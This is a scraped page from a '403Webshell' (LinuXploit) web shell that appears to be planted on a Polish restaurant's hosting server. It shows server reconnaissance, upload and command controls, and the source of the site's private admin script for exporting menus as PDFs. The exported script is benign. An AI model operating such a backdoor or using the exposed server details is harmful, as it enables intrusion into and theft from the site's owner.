403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/tklm-pdf-export-v6.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/tklm_word_v5.php';
require_admin_role();
header('Cache-Control: private, no-store, max-age=0');
header('X-Robots-Tag: noindex, nofollow');
header('Content-Type: text/html; charset=UTF-8');

$id=filter_input(INPUT_GET,'menu_id',FILTER_VALIDATE_INT);
$lang=strtolower((string)($_GET['lang']??'pl'));
$draft=(string)($_GET['draft']??'')==='1';
$download=(string)($_GET['download']??'')==='1';
if (!$id || !in_array($lang,['pl','en','de','es'],true)) { http_response_code(400); exit('Błędna karta lub język.'); }
try {
    $st=tklm_v5_status((int)$id,$lang);
    if (!$st['available']) throw new RuntimeException('Brak aktywnych pozycji lub tłumaczeń '.$lang.'.');
    if (!$st['ready'] && !$draft) throw new RuntimeException('Brak '.count($st['missing']).' tłumaczeń. Wybierz wersję roboczą.');
    $bundle=tklm_v7_bundle_rows((int)$id);
    $allergens=['pl'=>'Alergeny','en'=>'Allergens','de'=>'Allergene','es'=>'Alérgenos'];
    $title=['pl'=>'Karta restauracji','en'=>'Restaurant menu','de'=>'Speisekarte','es'=>'Carta del restaurante'];
    $rows=[];
    foreach ($bundle as $pack) {
        $menu=$pack['menu'];
        $cats=$pack['categories'];
        $catRows=[];
        foreach ($cats as $cat) {
            if (!(int)$cat['active']) continue;
            $items=[];
            foreach ($cat['items'] as $item) {
                if (!(int)$item['active'] || !(int)$item['available']) continue;
                $texts=[];
                foreach (['name','description','allergens'] as $field) {
                    $original=trim((string)($item[$field]??''));
                    $translated=trim((string)($item[$lang==='pl'?$field:$field.'_'.$lang]??''));
                    $texts[$field]=($lang!=='pl' && $original!=='' && $translated==='') ? '['.strtoupper($lang).' MISSING] '.$original : $translated;
                }
                $items[]=$texts+['price'=>tklm_v5_word_price($item)];
            }
            if (!$items) continue;
            $src=(string)($cat['name']??'');
            $translated=trim((string)($cat[$lang==='pl'?'name':'name_'.$lang]??''));
            $name=($lang!=='pl' && trim($src)!=='' && $translated==='')?'['.strtoupper($lang).' MISSING] '.$src:$translated;
            $catRows[]=['title'=>$name,'items'=>$items];
        }
        if (!$catRows) continue;
        $rows[]=['section'=>tklm_v7_type_label((string)($menu['menu_type']??'food'),$lang),'menu_id'=>(int)$menu['id'],'categories'=>$catRows];
    }
    if (!$rows) throw new RuntimeException('Brak pozycji do eksportu.');
    $payload=[
        'title'=>$title[$lang], 'allergens'=>$allergens[$lang],
        'menu_id'=>(int)$id, 'lang'=>$lang,'draft'=>$draft,'pages'=>$rows,
        'signature'=>'Andrzej Polan'
    ];
    $json=json_encode($payload,JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES|JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS|JSON_HEX_QUOT|JSON_THROW_ON_ERROR);
} catch(Throwable $e) {

    http_response_code(409);
    echo '<!doctype html><html lang="pl"><meta charset="utf-8"><title>PDF POLANA</title><body style="font-family:system-ui;max-width:700px;margin:70px auto"><h1>Nie można przygotować PDF</h1><p>'.htmlspecialchars($e->getMessage(),ENT_QUOTES|ENT_SUBSTITUTE,'UTF-8').'</p><a href="/admin/menus.php">Wróć do kart</a></body></html>';
    exit;
}
function pv6h(string $v): string {return htmlspecialchars($v,ENT_QUOTES|ENT_SUBSTITUTE,'UTF-8');}
?><!doctype html>
<html lang="<?=pv6h($lang)?>">
<head>
<meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
<title>PDF <?=strtoupper($lang)?> | Moja Polana Smaków</title>
<style>
:root{color-scheme:light}*{box-sizing:border-box}
body{margin:0;color:#24231f;background:#eeeae4;font:16px/1.5 Georgia,'Times New Roman',serif}
.toolbar{position:sticky;top:0;background:#1c211b;color:#fff;padding:12px 16px;display:flex;justify-content:center;align-items:center;gap:12px;flex-wrap:wrap;font-family:system-ui}
.toolbar a,.toolbar button{background:#a1cf30;color:#111;border:0;border-radius:28px;padding:10px 17px;font:700 14px system-ui;cursor:pointer;text-decoration:none}
.toolbar .second{background:#fafafa}.toolbar span{font-size:12px;max-width:300px}
.paper{background:white;width:min(210mm,100%);min-height:297mm;margin:24px auto;padding:15mm 18mm;box-shadow:0 12px 35px #0002;text-align:center}
.logo{width:46mm;max-height:46mm;object-fit:contain;display:block;margin:0 auto 6mm}
.subtitle{font-size:12pt;letter-spacing:2px;text-transform:uppercase;color:#6e735f;margin:0 0 7mm}
.warning{border:1.5px solid #c12a20;color:#a31910;font:700 12px system-ui;padding:10px;margin-bottom:8mm}
.category{margin:0 0 8mm;break-inside:avoid-page}.page-block{page-break-after:always;break-after:page}.page-block:last-of-type{page-break-after:auto;break-after:auto}
h2{font-size:17pt;color:#234125;margin:9mm 0 5mm}
.item{display:grid;grid-template-columns:minmax(0,1fr) auto;text-align:left;gap:12px;margin:0 0 5mm;break-inside:avoid-page;align-items:start}
.item strong{font-size:12pt;font-weight:700;line-height:1.36}.item small{display:block;font-size:9.5pt;line-height:1.3;color:#666;margin-top:1mm}
.price{font-size:12pt;white-space:nowrap;font-weight:700}.footer{padding:10mm 0 0;color:#6c7168;font-size:9pt}
@page{size:A4 portrait;margin:12mm}
@media print{html,body{background:white!important}.toolbar{display:none!important}.paper{box-shadow:none;width:100%;min-height:0;margin:0;padding:0}.category,.item{break-inside:avoid-page}}
@media(max-width:650px){.paper{margin:0;padding:24px 18px;min-height:0}.toolbar{position:static}h2{font-size:20px}.item strong{font-size:15px}}
</style>
</head>
<body>
<div class="toolbar">
<button type="button" id="download">Pobierz PDF <?=strtoupper($lang)?> ↓</button>
<button type="button" class="second" onclick="window.print()">Drukuj / Zapisz jako PDF</button>
<a class="second" href="/admin/menus.php">Wróć do kart</a>
<span id="progress" role="status" aria-live="polite"></span>
</div>
<main class="paper" id="menu-preview">
<img id="logo" class="logo" src="/assets/img/logo.png" alt="Moja Polana Smaków">
<p class="subtitle"><?=pv6h($title[$lang])?></p>

<?php foreach ($rows as $page):?><section class="category page-block">
<h2><?=pv6h($page['section'])?></h2>
<?php foreach ($page['categories'] as $cat):?><h3 style="font-size:14pt;color:#5b6d43;margin:4mm 0 3mm"><?=pv6h($cat['title'])?></h3>
<?php foreach ($cat['items'] as $it):?><div class="item"><div><strong><?=pv6h($it['name'])?></strong><?php if($it['description']!==''):?><small><?=pv6h($it['description'])?></small><?php endif;?><?php if($it['allergens']!==''):?><small><?=pv6h($allergens[$lang].': '.$it['allergens'])?></small><?php endif;?></div><span class="price"><?=pv6h($it['price'])?></span></div><?php endforeach;?><?php endforeach;?></section><?php endforeach;?>
<footer class="footer"><img src="/assets/img/tklm_andrzej_polan_signature.png?v=12" alt="Podpis Andrzeja Polana" style="width:55mm;max-width:80%;height:auto;display:block;margin:0 auto"></footer>
</main>
<script type="application/json" id="menu-data"><?=$json?></script>
<script>
'use strict';
// PDF tworzony calkowicie w przegladarce: brak fontow serwera, bibliotek/CDN i plikow tymczasowych.
const DATA = JSON.parse(document.getElementById('menu-data').textContent);
const SIG = new Image();SIG.src='/assets/img/tklm_andrzej_polan_signature.png?v=12';
const BTN = document.getElementById('download');
const MSG = document.getElementById('progress');
const DW=1240, DH=1754, LEFT=106, RIGHT=DW-106, CONTENT=RIGHT-LEFT;
const latinPdfBytes = x => Uint8Array.from(x, c=>c.charCodeAt(0)&255);
function pdfFromJpegs(jpegs){
    const chunks=[];let size=0,offsets=[0];
    const put=v=>{const b=typeof v==='string'?latinPdfBytes(v):v;chunks.push(b);size+=b.length;};
    const start=n=>{offsets[n]=size;put(n+' 0 obj\n');};
    const end=()=>put('\nendobj\n');
    const N=jpegs.length, kids=[];
    put('%PDF-1.4\n%TKLM\n');
    start(1);put('<< /Type /Catalog /Pages 2 0 R >>');end();
    for(let i=0;i<N;i++)kids.push((3+3*i)+' 0 R');
    start(2);put('<< /Type /Pages /Count '+N+' /Kids ['+kids.join(' ')+'] >>');end();
    for(let i=0;i<N;i++){
      const page=3+i*3, img=page+1, content=page+2;
      const decoded=atob(jpegs[i].split(',')[1]);
      start(page);put('<< /Type /Page /Parent 2 0 R /MediaBox [0 0 595.28 841.89] /Resources << /XObject << /Im0 '+img+' 0 R >> >> /Contents '+content+' 0 R >>');end();
      start(img);put('<< /Type /XObject /Subtype /Image /Width '+DW+' /Height '+DH+' /ColorSpace /DeviceRGB /BitsPerComponent 8 /Filter /DCTDecode /Length '+decoded.length+' >>\nstream\n');put(decoded);put('\nendstream');end();
      const draw='q 595.28 0 0 841.89 0 0 cm /Im0 Do Q\n';
      start(content);put('<< /Length '+draw.length+' >>\nstream\n'+draw+'endstream');end();
    }
    const xref=size, total=2+3*N;
    put('xref\n0 '+(total+1)+'\n0000000000 65535 f \n');
    for(let n=1;n<=total;n++)put(String(offsets[n]).padStart(10,'0')+' 00000 n \n');
    put('trailer\n<< /Size '+(total+1)+' /Root 1 0 R >>\nstartxref\n'+xref+'\n%%EOF');
    return new Blob(chunks,{type:'application/pdf'});
}
function splitLines(ctx,text,width){
    const result=[];let line='';
    for(const word of String(text).split(/\s+/)){
      let test=line?line+' '+word:word;
      if(ctx.measureText(test).width<=width){line=test;continue;}
      if(line)result.push(line);
      line=word;
      while(ctx.measureText(line).width>width && line.length>1){
        let len=1;while(len<line.length && ctx.measureText(line.slice(0,len+1)).width<=width)len++;
        result.push(line.slice(0,len));line=line.slice(len);
      }
    }
    if(line)result.push(line);
    return result.length?result:[''];
}
async function makePdf(){
    BTN.disabled=true; MSG.textContent='Generuję dokument A4…';
    try{
      await document.fonts.ready;
      const logo=document.getElementById('logo');
      if(!logo.complete)await new Promise((resolve,reject)=>{logo.addEventListener('load',resolve,{once:true});logo.addEventListener('error',reject,{once:true});});
      if(!logo.naturalWidth)throw Error('Nie można wczytać logo.');
      if(!SIG.complete)await new Promise((resolve,reject)=>{SIG.addEventListener('load',resolve,{once:true});SIG.addEventListener('error',reject,{once:true});});
      if(!SIG.naturalWidth)throw Error('Nie można wczytać graficznego podpisu.');
      let pages=[],c=null,x=null,y=0,count=0;
      function page(){
        if(c)pages.push(c.toDataURL('image/jpeg',0.93));
        c=document.createElement('canvas');c.width=DW;c.height=DH;x=c.getContext('2d');
        x.fillStyle='white';x.fillRect(0,0,DW,DH);count++;y=100;
        if(count===1){
          const maxW=245,maxH=225,scale=Math.min(maxW/logo.naturalWidth,maxH/logo.naturalHeight);
          const w=logo.naturalWidth*scale,h=logo.naturalHeight*scale;
          x.drawImage(logo,(DW-w)/2,y,w,h);y+=h+38;
          x.fillStyle='#68725d';x.font='26px Georgia,serif';x.textAlign='center';x.fillText(DATA.title.toUpperCase(),DW/2,y);y+=56;
          // Bez czerwonego tekstu DRAFT w druku.
        }else{
          x.textAlign='center';x.fillStyle='#526d48';x.font='22px Georgia,serif';x.fillText('MOJA POLANA SMAKÓW',DW/2,90);
          y=145;
        }
        x.textAlign='left';
      }
      function footer(){
        x.fillStyle='#909487';x.textAlign='center';x.font='20px Georgia,serif';
        x.fillText('Moja Polana Smaków  •  Kraków     |     '+count,DW/2,DH-207);
        const sw=265,sh=sw*SIG.naturalHeight/SIG.naturalWidth;
        x.drawImage(SIG,(DW-sw)/2,DH-183,sw,sh);
        x.textAlign='left';
      }
      function nextPage(){footer();page();}
      function drawText(lines,font,color,xpos,lineHeight){
        x.font=font;x.fillStyle=color;x.textAlign='left';
        for(const line of lines){x.fillText(line,xpos,y);y+=lineHeight;}
      }
      page();
      let firstSection = true;
      for(const pageBlock of DATA.pages){
        if(!firstSection){nextPage();}
        firstSection = false;
        x.textAlign='center';x.fillStyle='#254b2c';x.font='bold 34px Georgia,serif';x.fillText(pageBlock.section,DW/2,y);y+=54;x.textAlign='left';
        for(const cat of pageBlock.categories){
        if(y+90>DH-280)nextPage();
        y+=18;x.textAlign='center';x.fillStyle='#254b2c';x.font='bold 31px Georgia,serif';
        x.fillText(cat.title,DW/2,y);y+=55;x.textAlign='left';
        for(const it of cat.items){
          x.font='bold 25px Georgia,serif';
          const names=splitLines(x,it.name,CONTENT-175);
          x.font='22px Georgia,serif';
          const ds=it.description?splitLines(x,it.description,CONTENT-195):[];
          x.font='19px Arial';
          const al=it.allergens?splitLines(x,DATA.allergens+': '+it.allergens,CONTENT-195):[];
          const block=names.length*36+ds.length*30+al.length*26+22;
          if(y+block>DH-280)nextPage();
          const startY=y;
          drawText(names,'bold 25px Georgia,serif','#1c1c1c',LEFT,36);
          if(it.price){x.textAlign='right';x.font='bold 25px Georgia,serif';x.fillStyle='#111';x.fillText(it.price,RIGHT,startY);x.textAlign='left';}
          if(ds.length)drawText(ds,'22px Georgia,serif','#5d5d5d',LEFT,30);
          if(al.length)drawText(al,'19px Arial,sans-serif','#666',LEFT,26);
          y+=22;
        }
        y+=24;
      }
      }
      x.fillStyle='#909487';x.textAlign='center';x.font='20px Georgia,serif';
      footer();
      pages.push(c.toDataURL('image/jpeg',0.93));
      const blob=pdfFromJpegs(pages);
      const u=URL.createObjectURL(blob),a=document.createElement('a');
      a.href=u;a.download='Polana_Menu_'+DATA.menu_id+'_'+DATA.lang.toUpperCase()+(DATA.draft?'_ROBOCZE':'')+'.pdf';
      document.body.append(a);a.click();a.remove();
      setTimeout(()=>URL.revokeObjectURL(u),15000);
      MSG.textContent='Gotowe: '+pages.length+' str. PDF';
    }catch(e){MSG.textContent='Błąd PDF: '+e.message;console.error(e);}
    finally{BTN.disabled=false;}
}
BTN.addEventListener('click',makePdf);
<?php if($download):?>window.addEventListener('load',()=>makePdf());<?php endif;?>
</script>
</body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit